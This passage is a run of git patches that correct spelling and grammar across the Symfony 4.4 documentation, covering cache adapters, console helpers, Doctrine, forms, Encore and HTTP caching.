 that is optimized and preloaded into OPcache memory storage. It is suited for any data that
-is mostly read-only after warmup::
+is mostly read-only after warm-up::
 
     use Symfony\Component\Cache\Adapter\FilesystemAdapter;
     use Symfony\Component\Cache\Adapter\PhpArrayAdapter;
@@ -23,7 +23,7 @@ is mostly read-only after warmup::
         $cache = new PhpArrayAdapter(
             // single file where values are cached
             __DIR__ . '/somefile.cache',
-            // a backup adapter, if you set values after warmup
+            // a backup adapter, if you set values after warm-up
             new FilesystemAdapter()
         );
         $cache->warmUp($values);
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 0845b3bcb96..05462bda38c 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -213,7 +213,7 @@ try to add data when no memory is available. An example setting could look as fo
     maxmemory 100mb
     maxmemory-policy allkeys-lru
 
-Read more about this topic in the offical `Redis LRU Cache Documentation`_.
+Read more about this topic in the official `Redis LRU Cache Documentation`_.
 
 .. _`Data Source Name (DSN)`: https://en.wikipedia.org/wiki/Data_source_name
 .. _`Redis server`: https://redis.io/
diff --git a/components/cache/cache_invalidation.rst b/components/cache/cache_invalidation.rst
index d7e44031d90..e9bedfbd7d6 100644
--- a/components/cache/cache_invalidation.rst
+++ b/components/cache/cache_invalidation.rst
@@ -7,7 +7,7 @@ Cache Invalidation
 
 Cache invalidation is the process of removing all cached items related to a
 change in the state of your model. The most basic kind of invalidation is direct
-items deletion. But when the state of a primary resource has spread across
+item deletion. But when the state of a primary resource has spread across
 several cached items, keeping them in sync can be difficult.
 
 The Symfony Cache component provides two mechanisms to help solve this problem:
@@ -47,7 +47,7 @@ you can invalidate the cached items by calling
     // if you know the cache key, you can also delete the item directly
     $cache->delete('cache_key');
 
-Using tags invalidation is very useful when tracking cache keys becomes difficult.
+Using tag invalidation is very useful when tracking cache keys becomes difficult.
 
 Tag Aware Adapters
 ~~~~~~~~~~~~~~~~~~

From a7312fde4b06598f770b07391c280a108c517764 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:14:14 -0400
Subject: [PATCH 2835/7107] Correct spelling & grammar in 4.4
 components/config/

---
 components/config/definition.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/config/definition.rst b/components/config/definition.rst
index 67c7392eb33..4030098a66b 100644
--- a/components/config/definition.rst
+++ b/components/config/definition.rst
@@ -159,7 +159,7 @@ Array Nodes
 ~~~~~~~~~~~
 
 It is possible to add a deeper level to the hierarchy, by adding an array
-node. The array node itself, may have a pre-defined set of variable nodes::
+node. The array node itself, may have a predefined set of variable nodes::
 
     $rootNode
         ->children()
@@ -197,7 +197,7 @@ above, it is possible to have multiple connection arrays (containing a ``driver`
 ``host``, etc.).
 
 Sometimes, to improve the user experience of your application or bundle, you may
-allow to use a simple string or numeric value where an array value is required.
+allow the use of a simple string or numeric value where an array value is required.
 Use the ``castToArray()`` helper to turn those variables into arrays::
 
     ->arrayNode('hosts')

From fb5b71c358e86e34b83a8a82266b2c715a3f87cb Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:23:16 -0400
Subject: [PATCH 2836/7107] Correct spelling & grammar in 4.4
 components/console/

---
 components/console/helpers/progressbar.rst    | 2 +-
 components/console/helpers/questionhelper.rst | 4 ++--
 components/console/helpers/table.rst          | 4 ++--
 components/console/single_command_tool.rst    | 4 ++--
 4 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/components/console/helpers/progressbar.rst b/components/console/helpers/progressbar.rst
index c8ef2f25a1f..2e2de44e399 100644
--- a/components/console/helpers/progressbar.rst
+++ b/components/console/helpers/progressbar.rst
@@ -301,7 +301,7 @@ to display it can be customized::
 
 .. caution::
 
-    For performance reasons, Symfony redraws screen every 100ms. If this is too
+    For performance reasons, Symfony redraws the screen once every 100ms. If this is too
     fast or to slow for your application, use the methods
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::minSecondsBetweenRedraws` and
     :method:`Symfony\\Component\\Console\\Helper\\ProgressBar::maxSecondsBetweenRedraws`::
diff --git a/components/console/helpers/questionhelper.rst b/components/console/helpers/questionhelper.rst
index 9c1696a7569..d6cdb7c67ab 100644
--- a/components/console/helpers/questionhelper.rst
+++ b/components/console/helpers/questionhelper.rst
@@ -123,7 +123,7 @@ option is the default one.
 If the user enters an invalid string, an error message is shown and the user
 is asked to provide the answer another time, until they enter a valid string
 or reach the maximum number of attempts. The default value for the maximum number
-of attempts is ``null``, which means infinite number of attempts. You can define
+of attempts is ``null``, which means an infinite number of attempts. You can define
 your own error message using
 :method:`Symfony\\Component\\Console\\Question\\ChoiceQuestion::setErrorMessage`.
 
@@ -367,7 +367,7 @@ was successful.
 You can set the max number of times to ask with the
 :method:`Symfony\\Component\\Console\\Question\\Question::setMaxAttempts` method.
 If you reach this max number it will use the default value. Using ``null`` means
-the amount of attempts is infinite. The user will be asked as long as they provide an
+the number of attempts is infinite. The user will be asked as long as they provide an
 invalid answer and will only be able to proceed if their input is valid.
 
 Validating a Hidden Response
diff --git a/components/console/helpers/table.rst b/components/console/helpers/table.rst
index b59abe1d73a..9b479d0f9a6 100644
--- a/components/console/helpers/table.rst
+++ b/components/console/helpers/table.rst
@@ -147,7 +147,7 @@ The output of this command will be:
     | 99921 | Divine Com | Dante Alighieri                |
     | -58-1 | edy        |                                |
     | 0-7   |            |                                |
-    |                (the rest of rows...)                |
+    |                (the rest of the rows...)            |
     +-------+------------+--------------------------------+
 
 The table style can be changed to any built-in styles via
@@ -350,7 +350,7 @@ This outputs:
     | 978-0804169127 | Divine Comedy | spans multiple rows |
     +----------------+---------------+---------------------+
 
-You can use the ``colspan`` and ``rowspan`` options at the same time which allows
+You can use the ``colspan`` and ``rowspan`` options at the same time, which allows
 you to create any table layout you may wish.
 
 .. _console-modify-rendered-tables:
diff --git a/components/console/single_command_tool.rst b/components/console/single_command_tool.rst
index 457efb48dae..ff4c2be8f1c 100644
--- a/components/console/single_command_tool.rst
+++ b/components/console/single_command_tool.rst
@@ -5,7 +5,7 @@ Building a single Command Application
 =====================================
 
 When building a command line tool, you may not need to provide several commands.
-In such case, having to pass the command name each time is tedious. Fortunately,
+In such a case, having to pass the command name each time is tedious. Fortunately,
 it is possible to remove this need by declaring a single command application::
 
     #!/usr/bin/env php
@@ -30,7 +30,7 @@ it is possible to remove this need by declaring a single command application::
         ->run();
 
 The :method:`Symfony\\Component\\Console\\Application::setDefaultCommand` method
-accepts a boolean as second parameter. If true, the command ``echo`` will then
+accepts a boolean as the second parameter. If true, the command ``echo`` will then
 always be used, without having to pass its name.
 
 You can still register a command as usual::

From bdae230247b9d43ac433cdcaf516c9790a462a86 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:29:36 -0400
Subject: [PATCH 2837/7107] Correct spelling & grammar in 4.4
 components/dependency_injection/

---
 components/dependency_injection/compilation.rst | 4 ++--
 components/dependency_injection/workflow.rst    | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/dependency_injection/compilation.rst b/components/dependency_injection/compilation.rst
index d7284046b82..acf754c0f5d 100644
--- a/components/dependency_injection/compilation.rst
+++ b/components/dependency_injection/compilation.rst
@@ -358,8 +358,8 @@ methods described in :doc:`/service_container/definitions`.
     method call if some required service is not available.
 
 A common use-case of compiler passes is to search for all service definitions
-that have a certain tag in order to process dynamically plug each into some
-other service. See the section on :ref:`service tags <service-container-compiler-pass-tags>`
+that have a certain tag, in order to dynamically plug each one into other services.
+See the section on :ref:`service tags <service-container-compiler-pass-tags>`
 for an example.
 
 .. _components-di-separate-compiler-passes:
diff --git a/components/dependency_injection/workflow.rst b/components/dependency_injection/workflow.rst
index 7ea3c1ea28e..eb0bbb06984 100644
--- a/components/dependency_injection/workflow.rst
+++ b/components/dependency_injection/workflow.rst
@@ -25,7 +25,7 @@ container exists. The kernel has a debug setting and if this is false,
 the cached version is used if it exists. If debug is true then the kernel
 :doc:`checks to see if configuration is fresh </components/config/caching>`
 and if it is, the cached version of the container is used. If not then the
-container is built from the application-level configuration and the bundles's
+container is built from the application-level configuration and the bundles'
 extension configuration.
 
 Read :ref:`Dumping the Configuration for Performance <components-dependency-injection-dumping>`

From bf9f218ce48fa430f3f92113c8af1e69c49740aa Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:37:40 -0400
Subject: [PATCH 2838/7107] Correct spelling & grammar in 4.4
 components/expression_language/

---
 components/expression_language/ast.rst     | 4 ++--
 components/expression_language/caching.rst | 2 +-
 components/expression_language/syntax.rst  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/components/expression_language/ast.rst b/components/expression_language/ast.rst
index 0f15c20647a..2bd2bf80023 100644
--- a/components/expression_language/ast.rst
+++ b/components/expression_language/ast.rst
@@ -5,8 +5,8 @@
 Dumping and Manipulating the AST of Expressions
 ===============================================
 
-Manipulating or inspecting the expressions created with the ExpressionLanguage
-component is difficult because they are plain strings. A better approach is to
+It’s difficult to manipulate or inspect the expressions created with the ExpressionLanguage
+component, because the expressions are plain strings. A better approach is to
 turn those expressions into an AST. In computer science, `AST`_ (*Abstract
 Syntax Tree*) is *"a tree representation of the structure of source code written
 in a programming language"*. In Symfony, a ExpressionLanguage AST is a set of
diff --git a/components/expression_language/caching.rst b/components/expression_language/caching.rst
index 770c2768ca5..29e1e0116f7 100644
--- a/components/expression_language/caching.rst
+++ b/components/expression_language/caching.rst
@@ -25,7 +25,7 @@ The ``evaluate()`` method needs to loop through the "nodes" (pieces of an
 expression saved in the ``ParsedExpression``) and evaluate them on the fly.
 
 To save time, the ``ExpressionLanguage`` caches the ``ParsedExpression`` so
-it can skip the tokenize and parse steps with duplicate expressions. The
+it can skip the tokenization and parsing steps with duplicate expressions. The
 caching is done by a PSR-6 `CacheItemPoolInterface`_ instance (by default, it
 uses an :class:`Symfony\\Component\\Cache\\Adapter\\ArrayAdapter`). You can
 customize this by creating a custom cache pool or using one of the available
diff --git a/components/expression_language/syntax.rst b/components/expression_language/syntax.rst
index af5bfa5fc71..b78ac907ca8 100644
--- a/components/expression_language/syntax.rst
+++ b/components/expression_language/syntax.rst
@@ -195,7 +195,7 @@ Comparison Operators
 
         $expressionLanguage->evaluate('not ("foo" matches "/bar/")'); // returns true
 
-    You must use parenthesis because the unary operator ``not`` has precedence
+    You must use parentheses because the unary operator ``not`` has precedence
     over the binary operator ``matches``.
 
 Examples::

From f96660e15e1a0d233880c466c57e4271ceb83d93 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:41:34 -0400
Subject: [PATCH 2839/7107] Correct spelling & grammar in 4.4
 components/http_foundation/

---
 components/http_foundation/sessions.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/http_foundation/sessions.rst b/components/http_foundation/sessions.rst
index 9c9479e3e5e..e8ca28d35d3 100644
--- a/components/http_foundation/sessions.rst
+++ b/components/http_foundation/sessions.rst
@@ -53,7 +53,7 @@ Quick example::
 .. caution::
 
     Symfony sessions are incompatible with ``php.ini`` directive ``session.auto_start = 1``
-    This directive should be turned off in ``php.ini``, in the webserver directives or
+    This directive should be turned off in ``php.ini``, in the web server directives or
     in ``.htaccess``.
 
 Session API
@@ -152,7 +152,7 @@ the following API which is intended mainly for internal purposes:
     Returns the name of the session bag.
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\SessionBagInterface::clear`
-    Clears out data from bag.
+    Clears out data from the bag.
 
 .. _attribute-bag-interface:
 
@@ -291,7 +291,7 @@ has the API
     Gets flashes by type (read only).
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::peekAll`
-    Gets all flashes (read only) as keyed array of arrays.
+    Gets all flashes (read only) as a keyed array of arrays.
 
 :method:`Symfony\\Component\\HttpFoundation\\Session\\Flash\\FlashBagInterface::has`
     Returns true if the type exists, false if not.

From d5665080158fae46321119731dc643267c6f699b Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:46:35 -0400
Subject: [PATCH 2840/7107] Correct spelling & grammar in 4.4
 components/security/

---
 components/security/authentication.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/security/authentication.rst b/components/security/authentication.rst
index 1f75b433c6c..2a1582b0636 100644
--- a/components/security/authentication.rst
+++ b/components/security/authentication.rst
@@ -292,7 +292,7 @@ Authentication Success and Failure Events
 When a provider authenticates the user, a ``security.authentication.success``
 event is dispatched. But beware - this event may fire, for example, on *every*
 request if you have session-based authentication, if ``always_authenticate_before_granting``
-is enabled or if token is not authenticated before AccessListener is invoked.
+is enabled or if the token is not authenticated before AccessListener is invoked.
 See ``security.interactive_login`` below if you need to do something when a user *actually* logs in.
 
 When a provider attempts authentication but fails (i.e. throws an ``AuthenticationException``),
@@ -317,7 +317,7 @@ The ``security.switch_user`` event is triggered every time you activate
 the ``switch_user`` firewall listener.
 
 The ``Symfony\Component\Security\Http\Event\DeauthenticatedEvent`` event is triggered when a token has been deauthenticated
-because of a user change, it can help you doing some clean-up task.
+because of a user change. It can help you perform clean-up tasks.
 
 .. versionadded:: 4.3
 

From 0df55fc30aa3b76c19155b70e99e357fa25ed00e Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 12:55:12 -0400
Subject: [PATCH 2841/7107] Correct spelling & grammar in 4.4 components/yaml/

---
 components/yaml/yaml_format.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/yaml/yaml_format.rst b/components/yaml/yaml_format.rst
index 46d43a797be..d2b7e62e5d2 100644
--- a/components/yaml/yaml_format.rst
+++ b/components/yaml/yaml_format.rst
@@ -25,7 +25,7 @@ they can also be unquoted:
 
     A string in YAML
 
-    'A singled-quoted string in YAML'
+    'A single-quoted string in YAML'
 
     "A double-quoted string in YAML"
 

From 70ecc72ed13e622e69c4e5b2f809b074c6d8e1da Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 13:32:44 -0400
Subject: [PATCH 2842/7107] Correct spelling & grammar in 4.4 configuration/

---
 configuration/env_var_processors.rst           | 4 ++--
 configuration/front_controllers_and_kernel.rst | 2 +-
 configuration/multiple_kernels.rst             | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index e5e65d3255f..e8421290481 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -525,8 +525,8 @@ Symfony provides the following env var processors:
             $container->setParameter('private_key', '%env(default:raw_key:file:PRIVATE_KEY)%');
             $container->setParameter('raw_key', '%env(PRIVATE_KEY)%');
 
-    When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), the
-    value returned is ``null``.
+    When the fallback parameter is omitted (e.g. ``env(default::API_KEY)``), then the
+    returned value is ``null``.
 
     .. versionadded:: 4.3
 
diff --git a/configuration/front_controllers_and_kernel.rst b/configuration/front_controllers_and_kernel.rst
index fe3c8179ed0..b7b70456cb7 100644
--- a/configuration/front_controllers_and_kernel.rst
+++ b/configuration/front_controllers_and_kernel.rst
@@ -135,7 +135,7 @@ should run in "debug mode". Regardless of the
 :ref:`configuration environment <configuration-environments>`, a Symfony
 application can be run with debug mode set to ``true`` or ``false``.
 
-This affects many things in the application, such as displaying stacktraces on
+This affects many things in the application, such as displaying stack traces on
 error pages or if cache files are dynamically rebuilt on each request. Though
 not a requirement, debug mode is generally set to ``true`` for the ``dev`` and
 ``test`` environments and ``false`` for the ``prod`` environment.
diff --git a/configuration/multiple_kernels.rst b/configuration/multiple_kernels.rst
index a0069b9be4b..029b4c1e5fb 100644
--- a/configuration/multiple_kernels.rst
+++ b/configuration/multiple_kernels.rst
@@ -77,7 +77,7 @@ Now you need to define the ``ApiKernel`` class used by the new front controller.
 The easiest way to do this is by duplicating the existing  ``src/Kernel.php``
 file and make the needed changes.
 
-In this example, the ``ApiKernel`` will load less bundles than the default
+In this example, the ``ApiKernel`` will load fewer bundles than the default
 Kernel. Be sure to also change the location of the cache, logs and configuration
 files so they don't collide with the files from ``src/Kernel.php``::
 

From 0dc86acf5531119d03f63d76f019f83644217279 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:12:23 -0400
Subject: [PATCH 2843/7107] Correct spelling & grammar in 4.4 controller/

---
 controller/soap_web_service.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 95c078700c1..effa613c1c5 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -95,7 +95,7 @@ buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
 into the content of the Response and clear the output buffer. Finally, you're
 ready to return the ``Response``.
 
-Below is an example calling the service using a native `SoapClient`_ client. This example
+Below is an example of calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via
 the route ``/soap``::
 

From b22b5e0d13ca767b60a5d051b3cfa01fbcb3b249 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:18:58 -0400
Subject: [PATCH 2844/7107] Correct spelling & grammar in 4.4 create_framework/

---
 create_framework/front_controller.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/create_framework/front_controller.rst b/create_framework/front_controller.rst
index 61169db0cf1..733e764c94e 100644
--- a/create_framework/front_controller.rst
+++ b/create_framework/front_controller.rst
@@ -127,7 +127,7 @@ its sub-directories (only if needed -- see above tip).
 
 .. tip::
 
-    You don't even need to setup a web server to test the code. Instead,
+    You don't even need to set up a web server to test the code. Instead,
     replace the ``$request = Request::createFromGlobals();`` call to something
     like ``$request = Request::create('/hello?name=Fabien');`` where the
     argument is the URL path you want to simulate.

From bf750f216be9495a1ad36b5c484183e12b2edfa9 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:27:52 -0400
Subject: [PATCH 2845/7107] Correct spelling & grammar in 4.4 doctrine/

---
 doctrine/associations.rst          | 2 +-
 doctrine/dbal.rst                  | 2 +-
 doctrine/registration_form.rst     | 4 ++--
 doctrine/resolve_target_entity.rst | 2 +-
 doctrine/reverse_engineering.rst   | 4 ++--
 5 files changed, 7 insertions(+), 7 deletions(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 4a2fafb6467..a3c138c008f 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -299,7 +299,7 @@ config.
     *exactly* like an array, but has some added flexibility. Just imagine that
     it is an ``array`` and you'll be in good shape.
 
-Your database is setup! Now, run the migrations like normal:
+Your database is set up! Now, run the migrations like normal:
 
 .. code-block:: terminal
 
diff --git a/doctrine/dbal.rst b/doctrine/dbal.rst
index 80c145d3d6a..a1aa4291eb2 100644
--- a/doctrine/dbal.rst
+++ b/doctrine/dbal.rst
@@ -120,7 +120,7 @@ Registering custom Mapping Types in the SchemaTool
 
 The SchemaTool is used to inspect the database to compare the schema. To
 achieve this task, it needs to know which mapping type needs to be used
-for each database types. Registering new ones can be done through the configuration.
+for each database type. Registering new ones can be done through the configuration.
 
 Now, map the ENUM type (not supported by DBAL by default) to the ``string``
 mapping type:
diff --git a/doctrine/registration_form.rst b/doctrine/registration_form.rst
index d999eda77e9..841e1960512 100644
--- a/doctrine/registration_form.rst
+++ b/doctrine/registration_form.rst
@@ -14,7 +14,7 @@ form you must:
 #. :doc:`Create a form </forms>` to ask for the registration information (you can
    generate this with the ``make:registration-form`` command provided by the `MakerBundle`_);
 #. Create :doc:`a controller </controller>` to :ref:`process the form <processing-forms>`;
-#. :ref:`Protect some parts of your application <security-authorization>` so
-   only registered users can access to them.
+#. :ref:`Protect some parts of your application <security-authorization>` so that
+   only registered users can access them.
 
 .. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/doctrine/resolve_target_entity.rst b/doctrine/resolve_target_entity.rst
index 765f5d187ce..9be8730ba4a 100644
--- a/doctrine/resolve_target_entity.rst
+++ b/doctrine/resolve_target_entity.rst
@@ -5,7 +5,7 @@
 How to Define Relationships with Abstract Classes and Interfaces
 ================================================================
 
-One of the goals of bundles is to create discreet bundles of functionality
+One of the goals of bundles is to create discrete bundles of functionality
 that do not have many (if any) dependencies, allowing you to use that
 functionality in other applications without including unnecessary items.
 
diff --git a/doctrine/reverse_engineering.rst b/doctrine/reverse_engineering.rst
index bd5d1402198..74d56159ac3 100644
--- a/doctrine/reverse_engineering.rst
+++ b/doctrine/reverse_engineering.rst
@@ -5,7 +5,7 @@ How to Generate Entities from an Existing Database
 ==================================================
 
 When starting work on a brand new project that uses a database, two different
-situations comes naturally. In most cases, the database model is designed
+situations can occur. In most cases, the database model is designed
 and built from scratch. Sometimes, however, you'll start with an existing and
 probably unchangeable database model. Fortunately, Doctrine comes with a bunch
 of tools to help generate model classes from your existing database.
@@ -47,7 +47,7 @@ to a post record thanks to a foreign key constraint.
     ) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COLLATE=utf8_unicode_ci;
 
 Before diving into the recipe, be sure your database connection parameters are
-correctly setup in the ``.env`` file (or ``.env.local`` override file).
+correctly set up in the ``.env`` file (or ``.env.local`` override file).
 
 The first step towards building entity classes from an existing database
 is to ask Doctrine to introspect the database and generate the corresponding

From 079b1fb6feba73cba84aa6575f1f76e1da39e86f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 14:39:44 -0400
Subject: [PATCH 2846/7107] Correct spelling & grammar in 4.4 form/

---
 form/dynamic_form_modification.rst | 6 +++---
 form/form_themes.rst               | 2 +-
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 2f885850a0e..414a7023768 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -4,7 +4,7 @@
 How to Dynamically Modify Forms Using Form Events
 =================================================
 
-Often times, a form can't be created statically. In this article, you'll learn
+Oftentimes, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
 1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
@@ -506,8 +506,8 @@ exactly the same things on a given form.
 
 .. tip::
 
-    The ``FormEvents::POST_SUBMIT`` event does not allow to modify the form
-    the listener is bound to, but it allows to modify its parent.
+    The ``FormEvents::POST_SUBMIT`` event does not allow modifications to the form
+    the listener is bound to, but it allows modifications to its parent.
 
 One piece that is still missing is the client-side updating of your form after
 the sport is selected. This should be handled by making an AJAX call back to
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 92f08b5de4b..69a24a2adb0 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -143,7 +143,7 @@ You can also apply a form theme to a specific child of your form:
     {% form_theme form.a_child_form 'form/my_custom_theme.html.twig' %}
 
 This is useful when you want to have a custom theme for a nested form that's
-different than the one of your main form. Specify both your themes:
+different from the one of your main form. Specify both your themes:
 
 .. code-block:: twig
 

From f66044321750c549b067df0634a1fadeb0bdffa1 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 15:37:11 -0400
Subject: [PATCH 2847/7107] Correct spelling & grammar in 4.4 frontend/

---
 frontend/encore/advanced-config.rst      | 2 +-
 frontend/encore/installation.rst         | 2 +-
 frontend/encore/page-specific-assets.rst | 2 +-
 frontend/encore/simple-example.rst       | 2 +-
 frontend/encore/url-loader.rst           | 2 +-
 5 files changed, 5 insertions(+), 5 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 722a8b57aa4..26cd3a00a6e 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -5,7 +5,7 @@ Summarized, Encore generates the Webpack configuration that's used in your
 ``webpack.config.js`` file. Encore doesn't support adding all of Webpack's
 `configuration options`_, because many can be added on your own.
 
-For example, suppose you need to resolve automatically a new extension.
+For example, suppose you need to automatically resolve a new extension.
 To do that, modify the config after fetching it from Encore:
 
 .. code-block:: javascript
diff --git a/frontend/encore/installation.rst b/frontend/encore/installation.rst
index 08ba52a342b..0aa6700a360 100644
--- a/frontend/encore/installation.rst
+++ b/frontend/encore/installation.rst
@@ -168,7 +168,7 @@ And the new ``assets/css/app.css`` file:
         background-color: lightgray;
     }
 
-You'll customize and learn more about these file in :doc:`/frontend/encore/simple-example`.
+You'll customize and learn more about these files in :doc:`/frontend/encore/simple-example`.
 
 .. caution::
 
diff --git a/frontend/encore/page-specific-assets.rst b/frontend/encore/page-specific-assets.rst
index 92ab00a0a61..8f03bfb5877 100644
--- a/frontend/encore/page-specific-assets.rst
+++ b/frontend/encore/page-specific-assets.rst
@@ -24,4 +24,4 @@ page-specific JavaScript and CSS file from a page-specific entry (e.g. ``checkou
 .. tip::
 
     Be sure to use :doc:`split chunks </frontend/encore/split-chunks>`
-    to avoid duplicating and shared code between your entry files.
+    to avoid duplicate and shared code between your entry files.
diff --git a/frontend/encore/simple-example.rst b/frontend/encore/simple-example.rst
index 47bc2bb2ccc..cd7cd8ffbcc 100644
--- a/frontend/encore/simple-example.rst
+++ b/frontend/encore/simple-example.rst
@@ -313,7 +313,7 @@ file to ``app.scss`` and update the ``import`` statement:
     - import '../css/app.css';
     + import '../css/app.scss';
 
-Then, tell Encore to enable the Sass pre-processor:
+Then, tell Encore to enable the Sass preprocessor:
 
 .. code-block:: diff
 
diff --git a/frontend/encore/url-loader.rst b/frontend/encore/url-loader.rst
index 5242d3fcb1d..be2907a5161 100644
--- a/frontend/encore/url-loader.rst
+++ b/frontend/encore/url-loader.rst
@@ -33,7 +33,7 @@ Then enable it in your ``webpack.config.js``:
 
 The ``limit`` option defines the maximum size in bytes of the inlined files. In
 the previous example, font and image files having a size below or equal to 4 KB
-will be inlined and the rest of files will be processed as usual.
+will be inlined and the rest of the files will be processed as usual.
 
 You can also use all the other options supported by the `URL Loader`_. If you
 want to disable this loader for either images or fonts, remove the corresponding

From bb7bda96f4dfc3896731cae4f9888cad3f39d20f Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 16:54:52 -0400
Subject: [PATCH 2848/7107] Correct spelling & grammar in 4.4 http_cache/

---
 http_cache/cache_invalidation.rst | 2 +-
 http_cache/ssi.rst                | 2 +-
 http_cache/varnish.rst            | 2 +-
 3 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/http_cache/cache_invalidation.rst b/http_cache/cache_invalidation.rst
index 4e84cb00807..be62f7b473c 100644
--- a/http_cache/cache_invalidation.rst
+++ b/http_cache/cache_invalidation.rst
@@ -91,7 +91,7 @@ to support the ``PURGE`` HTTP method::
 
 **Purge** instructs the cache to drop a resource in *all its variants*
 (according to the ``Vary`` header, see :doc:`/http_cache/cache_vary`). An alternative to purging is
-**refreshing** a content. Refreshing means that the caching proxy is
+**refreshing** the content. Refreshing means that the caching proxy is
 instructed to discard its local cache and fetch the content again. This way,
 the new content is already available in the cache. The drawback of refreshing
 is that variants are not invalidated.
diff --git a/http_cache/ssi.rst b/http_cache/ssi.rst
index fe8f1552912..c206a730812 100644
--- a/http_cache/ssi.rst
+++ b/http_cache/ssi.rst
@@ -33,7 +33,7 @@ Symfony manages only the ``#include virtual`` one.
 
 .. caution::
 
-    Be careful with SSI, your website may be victim of injections.
+    Be careful with SSI, your website may fall victim to injections.
     Please read this `OWASP article`_ first!
 
 When the web server reads an SSI directive, it requests the given URI or gives
diff --git a/http_cache/varnish.rst b/http_cache/varnish.rst
index dd38b717ea8..d94e1dbcf7e 100644
--- a/http_cache/varnish.rst
+++ b/http_cache/varnish.rst
@@ -89,7 +89,7 @@ configuration of PHP, your session cookie has the name ``PHPSESSID``:
                 set req.http.Cookie = regsuball(req.http.Cookie, "^[; ]+|[; ]+$", "");
 
                 if (req.http.Cookie == "") {
-                    // If there are no more cookies, remove the header to get page cached.
+                    // If there are no more cookies, remove the header to get the page cached.
                     unset req.http.Cookie;
                 }
             }

From 7c8b9231792d00a96c717a64bce7491375bb4c56 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Dec 2021 17:00:45 -0400
Subject: [PATCH 2849/7107] Correct spelling & grammar in 4.4 introduction/

---
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 6 +++---
 2 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index d6d631d6857..b2840d1a17d 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -402,7 +402,7 @@ have *many* controller functions: one for each page.
 
 By now, the application has evolved from a single PHP file into a structure
 that is organized and allows for code reuse. You should be happier, but far
-from satisfied. For example, the routing system is fickle, and wouldn't
+from being satisfied. For example, the routing system is fickle, and wouldn't
